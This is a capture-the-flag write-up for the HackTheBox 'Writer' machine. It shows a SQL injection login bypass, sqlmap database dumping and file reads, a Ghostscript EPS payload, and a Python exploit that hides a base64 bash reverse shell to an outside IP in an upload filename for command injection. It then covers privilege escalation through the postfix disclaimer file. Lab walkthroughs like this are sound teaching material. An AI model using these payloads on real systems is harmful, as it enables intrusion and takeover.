It is a very well box on hackthebox. It requires you know some of OWASP top 10 (escpecialy familiar with SQLi). Now let’s start
For convinient, I will put the ip in /etc/hosts file

10.10.11.101 writer.htb

Enumeration

Port scanning

Let start with normal nmap scan to find which services is running on this server

nmap -v writer.htb
...
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

So what we found here:

  • Port 22: SSH server
  • Port 80: A Apache webserver
  • Port 139,443: SMB service is running here

I will start with the SMB service to see can we file any information from it

SMB services

First i will use smbmap to see which shared drive we can access as guest user

smbmap -H writer.htb
[+] IP: writer.htb:445  Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        writer2_project                                         NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (writer server (Samba, Ubuntu))

It look like we have no permission to execute any on this smb serive as guest. I will dig deeper using enum4linux to dump everything important here

enum4linux writer.htb
...
S-1-22-1-1000 Unix User\kyle (Local User) S-1-22-1-1001 Unix User\john (Local User) S-1-5-21-1663171886-1921258872-720408159-501 WRITER\nobody (Local User)
...

I have snipped all not important information here. The most juice thing we know here that we found 2 username, which is john and kyle here. Let’s see can we access to any user and their right

root@kali:~# smbmap -u kyle -H writer.htb
[!] Authentication error on writer.htb
root@kali:~# smbmap -u john -H writer.htb
[+] Guest session       IP: writer.htb:445      Name: unknown                                           
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        writer2_project                                         NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (writer server (Samba, Ubuntu))

As the result, user kyle requires a password and john has no permission to do anything ( same as guest). So I think this is the rabithole cause we can’t access to any shared folder here. There is one more possible way is we can brute force the password but I don’t like to brute force from the beginning so I will move on the webserver.

Webserver

alt text
As a first glance, we see that this is website that has post from user. I will directories burte force to see whether any juice path

Directory brute force

gobuster dir -u http://writer.htb -w /usr/share/wordlists/dirb/big.txt -t 20  
...
/about                (Status: 200) [Size: 3522]
/contact              (Status: 200) [Size: 4905]
/dashboard            (Status: 302) [Size: 208] [--> http://writer.htb/]
/logout               (Status: 302) [Size: 208] [--> http://writer.htb/]
/server-status        (Status: 403) [Size: 275]                         
/static               (Status: 301) [Size: 309] [--> http://writer.htb/static/]
/administrative

The reusult show us there might be a dashboard for admin of this website. By accessing to the path administrative you can see the login prompt here.
For me, the first test on the login form always is sqli so I intercept the request and try. And just by some basic test, we can bypass the login with this credential (rememeber space after --)

username=a' or 1=1 -- &password=pass

And now we access to admin dashboard

Admin panel

alt text
Most of data we see here is mock data, they are not fetching from anywhere. The first things, I noticed is the cookie, it has the form like

eyJ1c2VyIjoiYScgb3IgMT0xIC0tICJ9.YRoz8Q.kgFDaQnf2nnopDC5RwNrX9yl8KM

I have played with the box that have a flask server has cookie like this. You can confirm this by running flask-unsign tool to decode it

root@kali:~# flask-unsign -d -c eyJ1c2VyIjoiYScgb3IgMT0xIC0tICJ9.YRoz8Q.kgFDaQnf2nnopDC5RwNrX9yl8KM                                                                                               
{'user': "a' or 1=1 -- "} 

So base on this and the result from nmap, we know the back end of this server using flask and apache

/dashboard/stories

This page allow us to modified the contents of the blog. When come to this, I will usually place some php code in here to execute command, however, this is not PHP server so we can’t not proceed like that.
And when we click into edit 1 story, we can see there is place for file upload, the can be possible path here.

Exploit

File upload

Because it is not PHP server, we cannot upload a PHP file here as well as upload any python file here cannot help us to execute any command. But when come to python, I remember some exploit related to image upload called ImageMagick when python handle Ghostscript. So I try to upload a .jpg file with this content

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl http://10.10.xx.xx/) currentdevice putdeviceprops

Then I turn on my python server on port 80. But nothing happens. So I think this is not vulneralble with this trick

SQLi

So I remember to the login vulnerable to SQLi so I try to run sqlmap with this to see we can dump anythign from the database

sqlmap -r capture --level 3 --risk 3

Based on the result we know this is MySQL databases and it is vulerable with time-based blind injection. So I dig deeper in to the databases and found this credential

sqlmap -r capture -D writer -T users --dump
...
+----+------------------+--------+----------------------------------+----------+--------------+
| id | email            | status | password                         | username | date_created |
+----+------------------+--------+----------------------------------+----------+--------------+
| 1  | admin@writer.htb | Active | xxxxxxxxxxxxxxxxxxxxxxxxxxx| admin    | NULL         |
+----+------------------+--------+----------------------------------+----------+--------------+

We found the user admin with the hash of the password in MD5. But I cann’t crack it with hashcat and rockyou so it is another rabbithole or isn’t it? Yes it is a rabbit hole

LFI

Now I think we can upload file to server using SQLi but I cannot find any attack vector with file upload. So I try to read the source code the server to see any flaw in the code. I try to read /etc/passwd to see can we read files

sqlmap -r capture -D writer -T users --file-read=/etc/passwd

In some case you have to exploit it manually cause sqlmap doesn’t works. For manual exploit you can use this payload

uname=a' union select null,LOAD_FILE('/etc/passwd'),null,null,null,null -- &password=passs

alt text
And we success to read file. But now which file to be read? After a few google search about Flask server with Apache2 I foudn this acticle. Base on this we know the file structure of the server, we will read file /etc/apache2/sites-enabled/000-default.conf to see which webserives is running on this sever

# Virtual host configuration for writer.htb domain
<VirtualHost *:80>
        ServerName writer.htb
        ServerAdmin admin@writer.htb
        WSGIScriptAlias / /var/www/writer.htb/writer.wsgi
        <Directory /var/www/writer.htb>
                Order allow,deny
                Allow from all
        </Directory>
        Alias /static /var/www/writer.htb/writer/static
        <Directory /var/www/writer.htb/writer/static/>
                Order allow,deny
                Allow from all
        </Directory>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        LogLevel warn
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# Virtual host configuration for dev.writer.htb subdomain
# Will enable configuration after completing backend development
# Listen 8080                                                                                                                                                                                            
#<VirtualHost 127.0.0.1:8080>                                                                                                                                                                            
#       ServerName dev.writer.htb                                                                                                                                                                        
#       ServerAdmin admin@writer.htb                                                                                                                                                                     
#                                                                                                                                                                                                        
        # Collect static for the writer2_project/writer_web/templates                                                                                                                                    
#       Alias /static /var/www/writer2_project/static                                                                                                                                                    
#       <Directory /var/www/writer2_project/static>                                                                                                                                                      
#               Require all granted                                                                                                                                                                      
#       </Directory>                                                                                                                                                                                     
#                                                                                                                                                                                                        
#       <Directory /var/www/writer2_project/writerv2>
#               <Files wsgi.py>
#                       Require all granted
#               </Files>
#       </Directory>
#
#       WSGIDaemonProcess writer2_project python-path=/var/www/writer2_project python-home=/var/www/writer2_project/writer2env
#       WSGIProcessGroup writer2_project
#       WSGIScriptAlias / /var/www/writer2_project/writerv2/wsgi.py
#        ErrorLog ${APACHE_LOG_DIR}/error.log
#        LogLevel warn
#        CustomLog ${APACHE_LOG_DIR}/access.log combined
#
#</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

So we know the home directory of our server is /var/www/writer.htb. By knowing home folder so we can read web service file wsgi of server at /var/www/writer.htb/writer.wsgi

#!/usr/bin/python
import sys
import logging
import random
import os

# Define logging
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0,"/var/www/writer.htb/")

# Import the __init__.py from the app folder
from writer import app as application
application.secret_key = os.environ.get("SECRET_KEY", "")

For the import code, we know the source code __init.py__ of server is inside the directory writer. So we can read the source at path /var/www/writer.htb/writer/__init__.py and voila, we fould the source code.

To RCE

After analyzing the source code, i found these block of code could be juicy (it is in @app.route('/dashboard/stories/edit/<id>')

if request.form.get('image_url'):
            image_url = request.form.get('image_url')
            if ".jpg" in image_url:
                try:
                    local_filename, headers = urllib.request.urlretrieve(image_url)
                    os.system("mv {} {}.jpg".format(local_filename, local_filename))
                    image = "{}.jpg".format(local_filename)
                    try:
                        im = Image.open(image) 
                        im.verify()
                        im.close()
                        image = image.replace('/tmp/','')
                        os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                        image = "/img/{}".format(image)
                        cursor = connector.cursor()
                        cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                        result = connector.commit()

                    except PIL.UnidentifiedImageError:
                        os.system("rm {}".format(image))
                        error = "Not a valid image file!"
                        return render_template('edit.html', error=error, results=results, id=id)
                except:
                    error = "Issue uploading picture"
                    return render_template('edit.html', error=error, results=results, id=id)

Base on this we know the code will call function os.system("rm {}".format(image)) where image is our image name. That means if we can control the image name we can leverage to Command Injectio here. We knpw the image was taken from the image_url param and then process with urllib.request.urlretrieve. So I make a simple python to try

import urllib.request

image_url = 'http://localhost/a.jpg'
local_filename, headers = urllib.request.urlretrieve(image_url)

print(local_filename)
root@kali:/tmp# python3 test.py 
/tmp/tmpus8s2fzc

Sadly, it doesn’t return our file name. So after a while reading it documentation, I came up with an idea (base on the hints from diccussion) that we can point to local file instead from an url so that we can reserve the file name. So i replace the image_url to be file:///tmp/a.jpg

root@kali:/tmp# python3 test.py 
/tmp/a.jpg

And we success to resereve the file name. So our stratergy is quite clear now. We will load the file with the name image.jpg;`command here` and the we edit the post again but we image url is file:///var/www/writer.htb/writer/static/img/image.jpg;`command here` to run our command. I don’t like manual exploti so I write small python code to exploit this

import requests
import base64
from requests.exceptions import Timeout

# config (edit here)
url = 'http://writer.htb'
cookie = 'eyJ1c2VyIjoiYScgb3IgMT0xIC0tICJ9.YRoz8Q.kgFDaQnf2nnopDC5RwNrX9yl8KM'
ip = '10.10.14.6'
port = '7777'

def makeData(data, image_url = ''):
  return f'''
-----------------------------133300402523054395332772191488
Content-Disposition: form-data; name="title"

On the Origin of Shadows
-----------------------------133300402523054395332772191488
Content-Disposition: form-data; name="tagline"

#BewareOfShadows
-----------------------------133300402523054395332772191488
Content-Disposition: form-data; name="image"; filename="%s"
Content-Type: image/jpeg


-----------------------------133300402523054395332772191488
Content-Disposition: form-data; name="image_url"

%s
-----------------------------133300402523054395332772191488
Content-Disposition: form-data; name="content"

hello
-----------------------------133300402523054395332772191488--
''' % (data, image_url)

# create sessions
print("Create session")
s = requests.Session()
s.cookies.set("session", cookie)

# post image
message = f"bash -i >& /dev/tcp/%s/%s 0>&1" % (ip, port)
print("[+] Post image with command: " + message)
header = {
  'Content-Type' : 'multipart/form-data; boundary=---------------------------133300402523054395332772191488'
}

message_bytes = message.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
b64_cmd = base64_bytes.decode('ascii')

file_name = f"a.jpg;`echo %s | base64 -d | bash;`" % b64_cmd
r = s.post(url = url + '/dashboard/stories/edit/1' , data = makeData(file_name), headers = header)

if (r.status_code == 200):
	print("[+] Successfully post image")
	print("[+] Update image_url for rev shell")
	file_location = f"file:///var/www/writer.htb/writer/static/img/%s" % (file_name)
	print("[+] image_url is: " + file_location)
	try:
		r = s.post(url = url + '/dashboard/stories/edit/1' , data = makeData('1.jpg', file_location), headers = header, timeout=1)
	except Timeout:
		print("[+] Sucess")
else:
	print("[-] Something went wrong")

After run this you can get the reverse shell

To first user

The first things I do when got shell is checking is which service is running internally using ss -tulw and I found MySQL is running here. People often use the same password for every account so the database is very juicy place. Moreover, we also got the credenial for database from __init.py

www-data@writer:/var/www/writer.htb/writer$ mysql -u admin -pToughxxxxxxxxxxxk
<r.htb/writer$ mysql -u admin -pToughPasswordToCrack
ERROR 1044 (42000): Access denied for user 'admin'@'localhost' to database 'dev'

Sadly, we don’t have the access for this database. However when I reading file /var/www/writer2_project/writerv2/settings.py I found this line

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
            'read_default_file': '/etc/mysql/my.cnf',
        },
    }
}

It say that the config is store inside /etc/mysql/my.cnf. After reading it we found the credentail for another database user. Using this credentials, we can obtain the hash password for user kyle. I use hashcat to crack this password and obtain the password. Then we use that credential to login as kyle

To second user

I do some basic enumearation and linpeas here but it doesn’ give us anything usefull so I run pspy to monitor any crontab running here and I found this

2021/08/16 14:41:31 CMD: UID=0    PID=1      | /sbin/init auto automatic-ubiquity noprompt 
2021/08/16 14:42:01 CMD: UID=0    PID=10478  | /usr/bin/apt-get update 
2021/08/16 14:42:01 CMD: UID=0    PID=10474  | /bin/sh -c /usr/bin/apt-get update 
2021/08/16 14:42:01 CMD: UID=0    PID=10469  | /usr/bin/cp -r /root/.scripts/writer2_project /var/www/                                                                                            
2021/08/16 14:42:01 CMD: UID=0    PID=10468  | /bin/sh -c /usr/bin/cp -r /root/.scripts/writer2_project /var/www/        
2021/08/15 13:42:01 CMD: UID=0 PID=217959 | /usr/bin/cp /root/.scripts/disclaimer /etc/postfix/disclaimer

I found this job being repeats every few minutes. But after a while doesn’t help anything. I noticed that we are also in the group filter so I find all find belongs to our group.
After a few hints on the forum, I found that that we put a reverse shell in file /etc/postfix/disclaimer and then we send a mail then the file /etc/postfix/disclaimer will be run as John. So I copy disclaimer to my home folder and the then at a rever shell to it. Then we can use python to send email

import smtplib
host = '127.0.0.1'
port = 25

sender_email = "kyle@writer.htb"
receiver_email = "kyle@writer.htb"
message = """\
Subject: Hi there

Test_python_sender."""

try:
    server = smtplib.SMTP(host, port)
    server.ehlo()
    server.sendmail(sender_email, receiver_email, message)
except Exception as e:
    print(e)
finally:
    server.quit()

And the we run this

cp disclaimer /etc/postfix/disclaimer && python3 mail.py

And the we can get the reverse shell of john

To root

Noticed that base on the resutl of pspy we know that the root will call the command /bin/sh -c /usr/bin/apt-get update after few minute and our user john is in management group. So base on this acticle, we can leveage to root easily.